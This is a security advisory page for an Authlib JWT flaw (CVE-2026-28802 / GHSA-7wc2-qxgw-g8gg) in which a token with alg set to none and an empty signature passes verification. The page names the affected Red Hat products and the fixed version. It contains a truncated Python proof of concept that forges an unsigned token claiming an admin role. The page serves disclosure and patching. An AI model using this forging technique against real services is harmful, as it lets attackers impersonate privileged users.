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CVE-2026-28802 — Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification

Affected: authlib, Red Hat Ansible Automation Platform 2.6, Red Hat Quay 3.10, Red Hat Quay 3.12, Red Hat Quay 3.15, Red Hat Quay 3.16, Red Hat Quay 3.9, Red Hat Satellite 6

Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.

GHSA-7wc2-qxgw-g8gg — Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification

Affected: PyPI: authlib

### Summary After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.

### Details It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75

### PoC ``` from authlib.jose import jwt, JsonWebKey from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend import json import base64

def create_jwks(): private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_pem = private_key.public_key().public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo, ) jwk = JsonWebKey.import_key(public_pem).as_dict() jwk["kid"] = "test-key-001" jwk["use"] = "sig" jwk["alg"] = "RS256" jwks = {"keys": [jwk]} return jwks

def create_forged_token_with_alg_none(): forged_header = {"alg": "none"} forged_payload = { "sub": "user123", "role": "admin", "iat": 1735603200, }

header_b64 = base64.urlsafe_b64encode( json.dumps(forged_header).encode("utf-8") ).rstrip(b"=")

p…

PYSEC-2026-2118

Affected: PyPI: authlib